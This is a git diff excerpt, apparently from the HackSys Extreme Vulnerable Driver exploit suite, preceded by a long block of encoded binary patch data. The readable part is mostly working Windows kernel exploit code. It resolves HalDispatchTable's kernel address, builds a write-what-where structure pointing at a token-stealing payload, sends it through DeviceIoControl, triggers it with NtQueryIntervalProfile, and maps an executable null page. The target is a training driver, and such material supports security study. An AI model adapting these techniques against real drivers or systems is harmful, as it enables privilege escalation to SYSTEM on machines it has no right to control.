z{hx_v(~x(#f9KIqesS`R_U`{fIC;(aCV9%g1^c7Hme29l8|?Sc|K!pP)ZS|Tmc6lT z!%@(ZvTzSD8-w-co9&dHGCZS3P+#W2?g8^>quY<>n6z@9-)YFhafS+!d@P#6X$l;p z7)OWcZ|xjs&L)|Q@EQk4GltvvHXim0+5V{bo{r2O4&)rrUHgac&DIS%DjF3&nSq+kVa#J%gP-oPE)bPd~B!94vaK9bw~a3wf6D zZ-FZR$eOhqB13pxT8%dgy|7UnZ>PeJ@WPTCj7_`93R|;Y$6IWL3B4n&Frjyp7d9&N zR0nlbSw@B4(N;XtI~nbWeJ5uuK{$MV5yp1H`nM77DKf!&!s5;Bfv3A*%1cr>j{z;I z0@XgT0NQY=%0neU8+tnh%AN1!A6F{pL0ROB66^{5Tl@NP7G7MJfoJBRo6I{7aUee( zO}#kAng>2^!Xe1`@{Rq>`q^?M{vnYYc^0{mXOSCu7CGRv$bs%dBkLO?Y;rvhTc*m* zFp7o_JKhb07??5h1TPHDrsJLHg}G^U-AOO$=0U$M_L?zYmmd8&Cd{R`+@&|F=!qPh zgmCaJ0t!kD);EAlYP{9{)oS3>Kh%@d@2B9I`X|WW{nS6)3nV(*&+k(FXWA7et?2C2 zOdjMj^Qbd1QX+)2dH3wVn;qb>K(rRL5`67evT&vegu6d*N zq|C+a8n9k#!_PB1M%mp z`~prres6WZn}aiw%uMgE`Mrng{VaJ=S!TcEVAc+F192BUzw_|d{Eow4<{q_EHLA3XY<161$!n}?jdQ=Lk%h+iRs?Q*ETo^CHp=N!AA3l%L%MX8e z8*Iu!y04bm%iIHc_~=iFUtnw5g5K^AkbWMhU5|2b9FTR^^HjOIctsI8yaM3a z27lT8q|4-$7P}UD1Lw72t)_YJhV|YaCfep$Z%wF09HmTKvZH3~4k87<8<0??+L8 z^jrBs|7^%p<7Uy{eYatk=C} zeVmwsb+FiOb+`rHXo+ktfq9yD4hQ3Kt<1#f#OY^AeDTFSGc=;w>;JcR=J8ck*B;-w zVUR&ClS~2z49XCJK!AV@nQllR$&L3WOb(Fbh9qz^kU>BZ<4~Yhsa8}bEeg)QO2t}K zs%UA&*(W@;)+)8m(iTB2qOI?{_CDvHb3=fBe1E*p=e>JBpI=VS9@koX?S0ms^;x8{ z%pjt_;?6w+dY)E0TH_AloZTy>nuFo4}=5+Yd38Y`?ak=I; zFd5CV7fVKxf0%fBrGh=}!2 zh?`lnCu7IEH1EN%y~Za*y1PB;VJ5K6I;r$}rdk`BQ~RHq zTt|u9cyiwhw!;br*FnuMP5odW36MXvDU?e;k#2DHMq)PU$g@pQr@pb*-6o7 zZYGeroaq!fg~=*+`SvqU++dw}s>{yUM!7X|ny0^>sPxjG+#0HJh2GvIcaF)LXyvKaauWH-8n`H)Y?mgcV(P_-&!uC(!j1jBP}BBcVRp!O$&he4YGk5w~W@TV`}CCcgNPnx2DP zi45#M_mwA?F;{~6@-y=0(tGd+FSvIfN-(AVur0Qx(typVl%d=u|o?VUwTEiwMZC)Rvtq%FXH zve&0X#@xl7adq>JmnEN8`?Zv`*t5s?t+2c_ua-*`O#36@S@S1!7dEm(P}*D5&e(2d z?Y`*YP}-hLtLkg@vcTfH5Fc;zakajo5-&;3#0qfkYB0;AOkT^NVYFrQ*_M#~eOr!S z3j0vFc&f47mbjI!+;x#+$+oJ|@GoO*sq{wRz=|k42+T*Ikr!e7qLZ! zzBKXAsA`leS%lZiNGHp2!^e?tp4J6_O?Y{bby?*h(~j$%F8Lc1=8;VF7Ep9dJnh3u_n<-17^?KI- z>H9Bj)6IBC%IHRSow4e=l;1%ky&aEFXg#$vr##FuSjVQ_Eb+54 z*@tH?TGQHU>9y3!E!J8~T_r7dp?90|2Tx?*-zR>p*!R*8dI-OarmAqr@TqlN+<$?4 zW-!a{5oo?8pY6C8a>>)e+WKk?=!pBHrj2qIth#91*~0Hcbna>yt`(YvhTSHdrJ(5x z7t(QRT&}wTnx5InX^+U!lz`RwH+4YP-RH$|rgG$@Y~lt`R9Wh2(X8ufoV#7H8UV}x za?&qq#a}lDF24821?f1^tRN_9J5~_ytvGHZMTyz+Y6gt0@Zxu%g`X?}bkp=nTwSoT zs#;fAyWKtL#L*jI#r+D>Iuz$BJu8o9+>gc`ch^lMy{qy6F3uKfLqmCWDNPxd`O(7U zTkW5up{#zHb$WU030iqdnr*D`>BlD-(Vx>iR`*x;udT{&r6Fx%XHRyxK{`14LLXC> zVheW_cc~=QPrE-S<=02tUG4TYgzfLRMcQrArzCNgF#vNMKYKFUo-rLRuN7Xc-)N86 z$CwoSO~XEEeZ18f#$qXgYiv=kNYJ+8D$*2N)SkOCYfqiIpIrRuGwBP{f2d;w^9$T^1qIeV=={k$vQ}Nr{SgORo-imLJ*P8yAGd3vijL$`l4X$$%^1TJNGiq8D%ReuBBARxDRNhA%cJ>o;aa-3n%g zw9y*$S@KIDZAoA5JCwdyEA&T=KayzFJ1IrceY6GL+w?j;XPlP4mJYwf%D1C6_Gt5o z5v%>}ce^iPzo!xZ1pR^*GkH+j!bNC(wwPGRjo6L--8Q1V;@PVAH=+j# z-0M|^xnO^5gr=d^yhEU_%<5h{_Dzy9BkFt~F-1(J9nUFuy}*n%O&I+;z)s z{BD9icCga&j~&y}=KUFd4{5)Mk8VFjCcD*a|7=$j;Z{LRoQjH z+J%jrz#uyoIC;uGf5LpzZzivoTG-z9c_4VHZE?rX8?M9SzT>|yx<$9YW491ySDfkh zEax6sJIz~h-yg>}yQsW0Lyjr4%0hJD(RTE)!pG~uu6BgiGfW}71EbqbJ1^mXw+^FK zh)b&-du5N~USzwA9QTU5ONDgNSY>}3w7k?#@A6 zQ3c6&6LGtC!Nv-PYw1F1J=WiIFK&6v=DF%oAMdP?oP!|oB+dR_TauhJQP4;;VB&8k z%>-{&Dd(%$0kn)n4~BYk7_ZXxSr4*GTDKEE$(vgv*LX(`|8V6K_EOeCdJft`GWknd zbzXEtE2%S9oPc{HX^}futvLO6ac}ZUA4K!+uPJgiQ`&keVJ?Nf24|ay=2hI6dUHc4 zf21>J#}PV~d38M+YrBbTR=8!uHINHk{4~4$SiWJ$leDh&&Mu+_zRxQiGkcw()fI5@{E*kG1q`LvG_Yw7bKLr9=yYYR#&)ln7jVyG z3k{EYu?wxT7keokJM8C#w|_gmGH1v)kH2Yr=VVQ=H4bXe(V##DdMroW**|8xbEh;1 zq~Im)@s7Lc>O;TG1={1JcarD7I~TYrGDhoapKB=CCOtMqKgZlZXy`mHOpu!hb=zy` zjrbRoa~xnO@@mF+UWSi>Y$vSEDnA*F?Fqr`EcE-mF(~w@+y*=(BoLhHaM}$NpN|FETDUk9tl& zz;mCgp64jDW|MO*vt-d&cJ6d%C;8Yh^I1l6iU4Wa_TLz(o6IU?&dTUFvALmWz@cuxcn43&ZM*}`g+oAm!jxXT)3>F?T$G~)jZdW)Dz!i^) zJZ`)sfc9%^{Bra1eADH=d1-ItZch3N>H(>*5>tOJt$`tCVp=%Cl-YANpSme$6-YgN zh`6Ft6pQZf%DeP;|F?d(T!cNHM_Ya#-}+ffJu#elpylw#Q`RX4E>~(bjNhHFRNpl0 zs|uyg;LyQq;ur&)uhc7qy*`1R2>idbN~t%7DfQF@b_cIeYHpcQ8z!>@9g%cuiD;=oRrZds;%lOt2Z&`cjn66aY zPD;I&qtxf)l-j(KbqYh2`c=JB#iY5H|M!oe50FaxGX~q1cqz#Keg5wV4fo7e>c{<* zx*U23jE5HZ83-@Ec@FKM)NneyPvc%dk8^U9Qcn{8Z904RL+8V6%*d%De`KMmxlv^a zJVA3k{0^v5>Q!jpj!a%oV$K5^3pk*zus5_o&yT{KcSiaiwe^N z)+D9Qoq)XrUssXmX=9N=181wj|MOERYvR3!?Dj2Y)^`-Lh5kPg_Q4CG3;%=2Jv4xF z403MIIZAy9EiYe$jh2pW3_sl{li{^W{XP*LUZ&JWXnc?~S3+AOa$bYHKBSU7gB&lL zK^emHDALG3o%eb4E#ccs{sXhfpN8ZPWPcd?W-j862=X|>2KPMdrnAtSw=>!2i2oAu z>jQm(5_o~ui*bJgc}*wJYl|oY=scUUpOMek47u;iMK_^q32~~4yAQVxSJF2@zq5N# zcF249rIhN+na~k3;YK{6D2LGR8f<4>Cu# zg%#)qGQWa+4wLRL$oCk$JV$zy3VBjCbHYkhA(t@pZYBQFq43T7Flc%>5g8NbfDgUu z&X_4ON$SP>Fr{us&)SVu>U-)?m~vWx9FyU1Pdw!gA1@*MS4h7HI>#k!sv3T#681Ux z?hXB4lI~}OU5#FBf~Mj@&`G%_T#O9cDs|xn$g3N&_9J8BcBg#qAs^ZFn0Prf;&!Z@ z`ar%L;jIVdG6Y$VBfhtbQnym~PN%$l%a!WK{}&>MX3B6K@k`+AuAow%)+ptNhHsJc zG}78pMLioy*}_*N<*^?=zC-4R;CnTCHx-#ZOxUf+?;Pmr%=_pB?yjNSgOs(bi@0D3 zX_3bfumJx*cU3AA+MXFfIYY+*=-#(LsTa{LKVcq$_9Gw#evkD+#vbb68N{O=jh%!H z$@lg;WJ}l^7E?!ge;mHLllHy%Cz8&`@NfjZo3Ir9r#ycR|F6Nv7V1Sa?)O0JU*PR3 z^g-I3o4xRc3=(Fex8%K+Gvm`okoP)U8Rr~lJNsjtcVu}17ao}akmLR*G#5)_h`=K)*`zS}!n#@p%-!RcEfo} z{SQXH3OL!vGW$aUDOtRKqlQN&uPdh7oNUC=jK!PE5npWCj3&zrX$P0 zHK4=rv#Jky!BYq1CgUpg7f_GUjc%mVzZ2hb^4W{rb`b9|cwJ7py$da;k40uvh)?~l zBJU^1DAnnOICci(@Hs8oEjc+eiggJ3lOALN zO{ccE+fml@$m-+0Y!w zOV1=5OOBpX(&ogOUtCz|3qWLER(5V67}3@EQ>3wOWOCfXvyRQ8`BKwveayG;fq(dK zI`YfRZufpOUgS7R#v1hq>nJ(gra_Hrs4p8;$z)=AeJQ=+#f;9-;sHsaACMmnj-tV# zrW){2(xS+ZrPZ!Bfntl*f7-2B{r5R7W32vL->rYY&G@19|4qL6A*$`#Mf9t%8w#T-?cT&wiz{d3v zfB6#n9RcjE5Pc79lPa2nNd?${3E19K>Eq(|0{%ntux+rpR%34!U`wT7gUR=Q3;9gp zeRnNsVxM-Yz|N4!f+9KFj)H^vzP_unS{*-#>`{3F+(^%RB@$Z6@5e!|5Mk zOXbw#HX2)M4E@bs^pW82T+&D;{b3kE>CkmE?_wLj3(W(upGx5UB50fLqtAm~w=D<1 zMEW_{Pj~f!#$x_oi5u_T^0Bw!rxUUqK)$`OD|cawc4)%>hW8M(ty+NHPI^nT>BEsn zDz@vf8SshhwnIZd8r>&g|GVC_$0Hf9fbJgHd844a(%JPt~R(OKqC-ad9~0>`n|C=CsUr;(DgQQ>CuI=9ok~QHRCAD`_bo^2H%8vV*uf?kqbIguHET-%%xvNIUL5m9YFd|@ZKH1K7qz3<0&ge zTrXui2^qkTcNq@QDZgZ%Ymn_mo;}mZlh04q0&Hy3O>9Pgd49JQV?vp)P#jN^)W5n+ z^oj7#`xxWk`Ty-V5r+E%M5@;8pd6ky64=fo2_0OIE*+%qZQ(tYvR**hQq-!l2Y>KS z#eW6mo&qY7^B&45%>Qk8*74jXI)eLtg0G=&t>Jkim_u2GKpt-E&oFg4j4rGp-hQwh z_k+C4_}u}XITTtB?(g8<%zHD>4{#GdLFdybYuqLiM$%6q-=XNO{JQeL{F^IjfPUai z&>su{1HoA!0Sp3z!Py`Y3<2kWbHPwB3=9V&KoU3)j0B^=XpjuXfUzJ2j05Ar1ds|Q zf=S?fFd0k%Q^7Ql2GT(W$OKuy2lhd`$nU?v8{kdw7We~r8~hQx1O5cw1@D0a;LqTF z@E7m__z-*qJ_etFPr+y4b8ry+75okS9UKB*fWzPjkoxx(_!|5J90lKiW8hox9r!2s z7x*5CIT!~#;2vJ@1^0pb!2{qy@DM=dSW8LY6Kn^+1do9K0FQ!SfycnF!A|fvcmg~L zc7fl3r+}#KZtx6v7W@|M0lx#k2hV}M;Cb)@coDn=UIwp#SHWxGKf&wZZqN?e+k?|U z2hb680-eF>pbPMVuAm!`O%^g9*AvJErM*CJ&dq5MYtz=YGp~eao zrr$!kpesQA=`)co=n1GQoO!IPo~(~jeL+7!bFJ&~0G`_;K?b0iW!(Wyuo|oZKL*!^Ni(W`Ni)CV`pgL0(K3Vu}!xKuiKL3B)82lR!)YF$u&Z5R*Vm i0x=21BoLE8Oad_p#3T@tKuiKL3B)82lfeHe3H&z{Dl9Yr diff --git a/Exploit/Source/ArbitraryOverwrite.c b/Exploit/Source/ArbitraryOverwrite.c index 8a10426..95ed6ab 100644 --- a/Exploit/Source/ArbitraryOverwrite.c +++ b/Exploit/Source/ArbitraryOverwrite.c @@ -50,16 +50,16 @@ Abstract: #include "ArbitraryOverwrite.h" -DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) { - ULONG interval = 0; - ULONG bytesReturned; +DWORD WINAPI ArbitraryOverwriteThread(LPVOID Parameter) { + ULONG Interval = 0; + ULONG BytesReturned; HANDLE hFile = NULL; HMODULE hNtDll = NULL; - PVOID pHalDispatchTable = NULL; - PVOID pHalDispatchTablePlus4 = NULL; - LPCSTR lpFileName = (LPCSTR)DEVICE_NAME; - PWRITE_WHAT_WHERE pWriteWhatWhere = NULL; - PVOID pEopPayload = &TokenStealingPayloadWin7Generic; + PVOID HalDispatchTable = NULL; + PVOID HalDispatchTablePlus4 = NULL; + LPCSTR FileName = (LPCSTR)DEVICE_NAME; + PWRITE_WHAT_WHERE WriteWhatWhere = NULL; + PVOID EopPayload = &TokenStealingPayloadWin7Generic; __try { DEBUG_MESSAGE("\t[+] Setting Thread Priority\n"); @@ -73,9 +73,9 @@ DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) { // Get the device handle DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); - DEBUG_INFO("\t\t[+] Device Name: %s\n", lpFileName); + DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); - hFile = GetDeviceHandle(lpFileName); + hFile = GetDeviceHandle(FileName); if (hFile == INVALID_HANDLE_VALUE) { DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); @@ -90,43 +90,43 @@ DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) { DEBUG_INFO("\t\t[+] Allocating Memory For WRITE_WHAT_WHERE Structure\n"); // Allocate the Heap chunk - pWriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), - HEAP_ZERO_MEMORY, - sizeof(WRITE_WHAT_WHERE)); + WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), + HEAP_ZERO_MEMORY, + sizeof(WRITE_WHAT_WHERE)); - if (!pWriteWhatWhere) { + if (!WriteWhatWhere) { DEBUG_ERROR("\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", pWriteWhatWhere); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", WriteWhatWhere); DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE)); } DEBUG_INFO("\t\t[+] Gathering Information About Kernel\n"); - pHalDispatchTable = GetHalDispatchTable(); + HalDispatchTable = GetHalDispatchTable(); - if (!pHalDispatchTable) { + if (!HalDispatchTable) { DEBUG_ERROR("\t\t[-] Failed Gathering Information: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - pHalDispatchTablePlus4 = (PVOID)((ULONG)pHalDispatchTable + sizeof(PVOID)); + HalDispatchTablePlus4 = (PVOID)((ULONG)HalDispatchTable + sizeof(PVOID)); - DEBUG_INFO("\t\t\t[+] HalDispatchTable+0x4: 0x%p\n", pHalDispatchTablePlus4); + DEBUG_INFO("\t\t\t[+] HalDispatchTable+0x4: 0x%p\n", HalDispatchTablePlus4); } DEBUG_INFO("\t\t[+] Preparing WRITE_WHAT_WHERE structure\n"); - pWriteWhatWhere->What = (PULONG)&pEopPayload; - pWriteWhatWhere->Where = (PULONG)pHalDispatchTablePlus4; + WriteWhatWhere->What = (PULONG)&EopPayload; + WriteWhatWhere->Where = (PULONG)HalDispatchTablePlus4; - DEBUG_INFO("\t\t\t[+] pWriteWhatWhere: 0x%p\n", pWriteWhatWhere); - DEBUG_INFO("\t\t\t[+] pWriteWhatWhere->What: 0x%p\n", pWriteWhatWhere->What); - DEBUG_INFO("\t\t\t[+] pWriteWhatWhere->Where: 0x%p\n", pWriteWhatWhere->Where); + DEBUG_INFO("\t\t\t[+] WriteWhatWhere: 0x%p\n", WriteWhatWhere); + DEBUG_INFO("\t\t\t[+] WriteWhatWhere->What: 0x%p\n", WriteWhatWhere->What); + DEBUG_INFO("\t\t\t[+] WriteWhatWhere->Where: 0x%p\n", WriteWhatWhere->Where); - DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", pEopPayload); + DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); DEBUG_MESSAGE("\t[+] Triggering Arbitrary Memory Overwrite\n"); @@ -134,11 +134,11 @@ DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) { DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE, - (LPVOID)pWriteWhatWhere, + (LPVOID)WriteWhatWhere, sizeof(WRITE_WHAT_WHERE), NULL, 0, - &bytesReturned, + &BytesReturned, NULL); OutputDebugString("****************Kernel Mode****************\n"); @@ -159,9 +159,11 @@ DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter) { exit(EXIT_FAILURE); } - NtQueryIntervalProfile(0x1337, &interval); + NtQueryIntervalProfile(0x1337, &Interval); - HeapFree(GetProcessHeap(), 0, (LPVOID)pWriteWhatWhere); + HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere); + + WriteWhatWhere = NULL; } __except (EXCEPTION_EXECUTE_HANDLER) { DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); diff --git a/Exploit/Source/ArbitraryOverwrite.h b/Exploit/Source/ArbitraryOverwrite.h index 160cabd..aeca151 100644 --- a/Exploit/Source/ArbitraryOverwrite.h +++ b/Exploit/Source/ArbitraryOverwrite.h @@ -60,6 +60,6 @@ Abstract: PULONG Where; } WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE; - DWORD WINAPI ArbitraryOverwriteThread(LPVOID lpParameter); + DWORD WINAPI ArbitraryOverwriteThread(LPVOID Parameter); #endif //__ARBITRARY_OVERWRITE_H__ diff --git a/Exploit/Source/Common.c b/Exploit/Source/Common.c index 56f5c95..5d4d92e 100644 --- a/Exploit/Source/Common.c +++ b/Exploit/Source/Common.c @@ -55,67 +55,67 @@ VOID ClearScreen() // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682022(v=vs.85).aspx // - DWORD dwConSize; + DWORD ConSize; HANDLE hConsole; - DWORD cCharsWritten; - COORD coordScreen = {0, 0}; - CONSOLE_SCREEN_BUFFER_INFO csbi; + DWORD CharsWritten; + COORD CoordScreen = {0, 0}; + CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo; hConsole = GetStdHandle(STD_OUTPUT_HANDLE); - if (!GetConsoleScreenBufferInfo(hConsole, &csbi)) { + if (!GetConsoleScreenBufferInfo(hConsole, &ConsoleScreenBufferInfo)) { return; } - dwConSize = csbi.dwSize.X * csbi.dwSize.Y; + ConSize = ConsoleScreenBufferInfo.dwSize.X * ConsoleScreenBufferInfo.dwSize.Y; if (!FillConsoleOutputCharacter(hConsole, (TCHAR)' ', - dwConSize, - coordScreen, - &cCharsWritten )) { + ConSize, + CoordScreen, + &CharsWritten )) { return; } - if (!GetConsoleScreenBufferInfo(hConsole, &csbi)) { + if (!GetConsoleScreenBufferInfo(hConsole, &ConsoleScreenBufferInfo)) { return; } if (!FillConsoleOutputAttribute(hConsole, - csbi.wAttributes, - dwConSize, - coordScreen, - &cCharsWritten)) { + ConsoleScreenBufferInfo.wAttributes, + ConSize, + CoordScreen, + &CharsWritten)) { return; } - SetConsoleCursorPosition(hConsole, coordScreen); + SetConsoleCursorPosition(hConsole, CoordScreen); } VOID ColoredConsoleOuput(WORD wColor, CONST PTCHAR fmt, ...) { - SIZE_T length = 0; - PTCHAR debugString; + SIZE_T Length = 0; + PTCHAR DebugString; va_list args = NULL; HANDLE hConsoleOutput; - WORD wCurrentAttributes; - CONSOLE_SCREEN_BUFFER_INFO consoleScreenBufferInfo; + WORD CurrentAttributes; + CONSOLE_SCREEN_BUFFER_INFO ConsoleScreenBufferInfo; va_start(args, fmt); - length = _vscprintf(fmt, args) + 2; - debugString = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length * sizeof(TCHAR)); + Length = _vscprintf(fmt, args) + 2; + DebugString = (PTCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Length * sizeof(TCHAR)); hConsoleOutput = GetStdHandle(STD_OUTPUT_HANDLE); - GetConsoleScreenBufferInfo(hConsoleOutput, &consoleScreenBufferInfo); - wCurrentAttributes = consoleScreenBufferInfo.wAttributes; + GetConsoleScreenBufferInfo(hConsoleOutput, &ConsoleScreenBufferInfo); + CurrentAttributes = ConsoleScreenBufferInfo.wAttributes; SetConsoleTextAttribute(hConsoleOutput, FOREGROUND_INTENSITY | wColor); vfprintf(stderr, fmt, args); - vsprintf_s(debugString, length, fmt, args); - OutputDebugString(debugString); + vsprintf_s(DebugString, Length, fmt, args); + OutputDebugString(DebugString); - SetConsoleTextAttribute(hConsoleOutput, wCurrentAttributes); + SetConsoleTextAttribute(hConsoleOutput, CurrentAttributes); va_end(args); - HeapFree(GetProcessHeap(), 0, (LPVOID)debugString); + HeapFree(GetProcessHeap(), 0, (LPVOID)DebugString); } VOID CenterConsoleScreen() { @@ -125,10 +125,10 @@ VOID CenterConsoleScreen() { MoveWindow(hConsoleWindow, xPos, yPos, 700, 600, TRUE); } -HANDLE GetDeviceHandle(LPCSTR lpFileName) { +HANDLE GetDeviceHandle(LPCSTR FileName) { HANDLE hFile = NULL; - hFile = CreateFile(lpFileName, + hFile = CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, @@ -139,11 +139,11 @@ HANDLE GetDeviceHandle(LPCSTR lpFileName) { return hFile; } -DWORD GetProcessID(LPCSTR processName) { - ULONG processID = 0; +DWORD GetProcessID(LPCSTR ProcessName) { + ULONG ProcessID = 0; HANDLE hProcessSnapshot = NULL; - PROCESSENTRY32 processEntry32 = {0}; - processEntry32.dwSize = sizeof(PROCESSENTRY32); + PROCESSENTRY32 ProcessEntry32 = {0}; + ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); // Create the snapshot of all processes hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); @@ -153,31 +153,31 @@ DWORD GetProcessID(LPCSTR processName) { exit(EXIT_FAILURE); } - if (!Process32First(hProcessSnapshot, &processEntry32)) { + if (!Process32First(hProcessSnapshot, &ProcessEntry32)) { DEBUG_ERROR("\t\t[-] Failed To Get Info About First Process: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } do { - if (strcmp(processName, processEntry32.szExeFile) == 0) { - processID = processEntry32.th32ProcessID; + if (strcmp(ProcessName, ProcessEntry32.szExeFile) == 0) { + ProcessID = ProcessEntry32.th32ProcessID; break; } - } while (Process32Next(hProcessSnapshot, &processEntry32)); + } while (Process32Next(hProcessSnapshot, &ProcessEntry32)); CloseHandle(hProcessSnapshot); - return processID; + return ProcessID; } PVOID GetHalDispatchTable() { - PCHAR kernelImage; - NTSTATUS ntStatus; - SIZE_T returnLength; + PCHAR KernelImage; + SIZE_T ReturnLength; HMODULE hNtDll = NULL; - PVOID pHalDispatchTable = 0; + PVOID HalDispatchTable = NULL; HMODULE hKernelInUserMode = NULL; - PVOID pKernelBaseAddressInKernelMode; + PVOID KernelBaseAddressInKernelMode; + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; PSYSTEM_MODULE_INFORMATION pSystemModuleInformation; hNtDll = LoadLibrary("ntdll.dll"); @@ -194,34 +194,34 @@ PVOID GetHalDispatchTable() { exit(EXIT_FAILURE); } - ntStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &returnLength); + NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength); // Allocate the Heap chunk pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, - returnLength); + ReturnLength); if (!pSystemModuleInformation) { DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } - ntStatus = NtQuerySystemInformation(SystemModuleInformation, + NtStatus = NtQuerySystemInformation(SystemModuleInformation, pSystemModuleInformation, - returnLength, - &returnLength); + ReturnLength, + &ReturnLength); - if (ntStatus != STATUS_SUCCESS) { + if (NtStatus != STATUS_SUCCESS) { DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } - pKernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base; - kernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1; + KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base; + KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1; - DEBUG_INFO("\t\t\t[+] Loaded Kernel: %s\n", kernelImage); - DEBUG_INFO("\t\t\t[+] Kernel Base Address: 0x%p\n", pKernelBaseAddressInKernelMode); + DEBUG_INFO("\t\t\t[+] Loaded Kernel: %s\n", KernelImage); + DEBUG_INFO("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode); - hKernelInUserMode = LoadLibraryA(kernelImage); + hKernelInUserMode = LoadLibraryA(KernelImage); if (!hKernelInUserMode) { DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError()); @@ -229,34 +229,46 @@ PVOID GetHalDispatchTable() { } // This is still in user mode - pHalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable"); + HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable"); - if (!pHalDispatchTable) { + if (!HalDispatchTable) { DEBUG_ERROR("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError()); exit(EXIT_FAILURE); } else { - pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hKernelInUserMode); + HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)hKernelInUserMode); // Here we get the address of HapDispatchTable in Kernel mode - pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pKernelBaseAddressInKernelMode); + HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)KernelBaseAddressInKernelMode); - DEBUG_INFO("\t\t\t[+] HalDispatchTable: 0x%p\n", pHalDispatchTable); + DEBUG_INFO("\t\t\t[+] HalDispatchTable: 0x%p\n", HalDispatchTable); } HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation); - return pHalDispatchTable; + if (hNtDll) { + FreeLibrary(hNtDll); + } + + if (hKernelInUserMode) { + FreeLibrary(hKernelInUserMode); + } + + hNtDll = NULL; + hKernelInUserMode = NULL; + pSystemModuleInformation = NULL; + + return HalDispatchTable; } BOOL MapNullPage() { HMODULE hNtdll; - PVOID baseAddress = (PVOID)0x00000001; // will be rounded down to the next host - // page size address boundary -> 0x00000000 - - SIZE_T regionSize = 0x1000; // will be rounded up to the next host + SIZE_T RegionSize = 0x1000; // will be rounded up to the next host // page size address boundary -> 0x2000 - NTSTATUS ntStatus; + + PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host + // page size address boundary -> 0x00000000 + NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; hNtdll = GetModuleHandle("ntdll.dll"); @@ -269,15 +281,20 @@ BOOL MapNullPage() { } // Allocate the Virtual memory - ntStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, &baseAddress, 0, ®ionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); + NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF, + &BaseAddress, + 0, + &RegionSize, + MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, + PAGE_EXECUTE_READWRITE); - if (ntStatus != STATUS_SUCCESS) { - DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", ntStatus); + if (NtStatus != STATUS_SUCCESS) { + DEBUG_ERROR("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus); exit(EXIT_FAILURE); } else { - DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", baseAddress); - DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", regionSize); + DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress); + DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize); } FreeLibrary(hNtdll); diff --git a/Exploit/Source/Common.h b/Exploit/Source/Common.h index d8b6cf4..dc33513 100644 --- a/Exploit/Source/Common.h +++ b/Exploit/Source/Common.h @@ -66,35 +66,50 @@ Abstract: #include "StackOverflowGS.h" #include "IntegerOverflow.h" #include "ArbitraryOverwrite.h" - #include "UninitializedVariable.h" #include "NullPointerDereference.h" + #include 